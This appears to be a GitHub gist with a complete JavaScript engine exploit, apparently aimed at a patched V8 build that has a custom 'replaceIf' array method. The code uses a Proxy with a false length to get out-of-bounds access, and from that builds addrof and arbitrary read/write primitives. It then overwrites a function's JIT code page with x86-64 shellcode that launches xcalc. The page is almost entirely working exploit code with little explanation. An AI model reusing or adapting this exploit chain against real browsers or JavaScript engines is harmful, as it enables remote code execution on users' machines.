Skip to content

Instantly share code, notes, and snippets.

@0xm0
Created March 28, 2021 07:56
Show Gist options
  • Save 0xm0/76721e920c41746746082fd7db8f9ade to your computer and use it in GitHub Desktop.
Save 0xm0/76721e920c41746746082fd7db8f9ade to your computer and use it in GitHub Desktop.
// conversion utilities
conva = new ArrayBuffer(8);
convi = new Uint32Array(conva);
convf = new Float64Array(conva);
function unpack(d) {
convf[0] = d;
return (BigInt(convi[1]) << 32n) + BigInt(convi[0]);
}
function pack(n) {
convi[0] = Number(n & 0xffffffffn);
convi[1] = Number(n >> 32n);
return convf[0];
}
function L(s) {
print(s);
}
// function whose jitted code we'll write our shellcode over
function trample_me(lol) {
eval("");
lol[0] = 1.1;
lol[1] = 1.1;
lol[2] = 1.1;
lol[3] = 1.1;
lol[4] = 1.1;
lol[5] = 1.1;
lol[6] = 1.1;
lol[7] = 1.1;
lol[8] = 1.1;
lol[9] = 1.1;
}
// get our target function jitted
for (var i = 0; i < 10000; i++) {
trample_me({});
}
// pop xcalc:
var shc = [ 0x48, 0x81, 0xec, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8b, 0xec, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d, 0x05, 0x4f, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0xe0, 0x6a, 0x00, 0x8f, 0x45, 0xe8, 0x48, 0x8d, 0x05, 0x34, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x15, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x38, 0x48, 0x8d, 0x75, 0xe0, 0x48, 0x8d, 0x55, 0xf0, 0x6a, 0x3b, 0x58, 0x0f, 0x05, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00];
function pwn() {
L("Starting...");
var arr = [1.1, 1.2, 1.3, 1.4];
var jsarray = new Array(0xbd);
var victim = new Uint8Array(0xabcd);
victim.fill(0xc0); // make the victim easier to find in a debugger
var wrapper = new Proxy(arr, {
get: function(obj, prop) {
if (prop == "length") { return 0xffff; }
return obj[prop];
}
});
var offsetRead = (i) => {
// load offset from array
var value = 1.1;
wrapper.replaceIf(i, (x) => { value = x; return false; }, 0);
return unpack(value);
}
var offsetWrite = (i, x) => {
// write value (bigint) into offset
wrapper.replaceIf(i, (v) => { return true; }, pack(x));
}
// hunt through the oob read to find victim
var victim_length_offset = null;
var jsarray_length_offset = null;
var first_jsarray_length_offset = null;
for (var i = 0; i < 300; i++) {
var value = offsetRead(i);
//L("V[" + i + "]: 0x" + value.toString(16));
if (victim_length_offset === null && value === 0xabcdn<<32n) {
L("found victim length offset: " + i);
victim_length_offset = i;
}
// we don't actually want the first one we find here, the second is right
// *shrug*
if (first_jsarray_length_offset === null && value === 0xbdn<<32n) {
L("found first jsarray length offset: " + i);
first_jsarray_length_offset = i;
} else if (value === 0xbdn<<32n) {
L("found jsarray length offset: " + i);
jsarray_length_offset = i;
}
}
if (victim_length_offset === null || jsarray_length_offset === null) {
L("What? I didn't find the offsets, aborting... :(((((");
throw 1;
}
function addrof(obj) {
jsarray[0] = obj;
var ret = offsetRead(jsarray_length_offset+1);
return ret;
}
// set the backing pointer of victim so we can do reads and writes and stuff
function setPointer(addr) {
offsetWrite(victim_length_offset+15, addr);
}
// this is a dumb way to do this, we could probably go through a
// Float64Array, but i'm lazy and this works well enough c:
function arbRead64(addr) {
setPointer(addr);
return (BigInt(victim[0]) << (8n*0n)) +
(BigInt(victim[1]) << (8n*1n)) +
(BigInt(victim[2]) << (8n*2n)) +
(BigInt(victim[3]) << (8n*3n)) +
(BigInt(victim[4]) << (8n*4n)) +
(BigInt(victim[5]) << (8n*5n)) +
(BigInt(victim[6]) << (8n*6n)) +
(BigInt(victim[7]) << (8n*7n));
}
function arbWrite8(addr, value) {
setPointer(addr);
victim[0] = Number(value);
}
//%DebugPrint(victim);
//arbRead64(0x4142434445464748n);
//arbWrite8(0x4142434445464748n, 0xc1n);
// find the jitted code for trample_me
var trample_me_addr = addrof(trample_me);
L('trample_me @ 0x' + trample_me_addr.toString(16));
var jit_page_addr = arbRead64(trample_me_addr-1n+0x30n)-1n+0x40n;
L('jit page @ 0x' + jit_page_addr.toString(16));
// overwrite the jitted page for trample_me with our shellcode
for (var i = 0; i < shc.length; i++) {
arbWrite8(jit_page_addr+BigInt(i), shc[i]);
}
// run our shellcode
trample_me({});
}
pwn();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment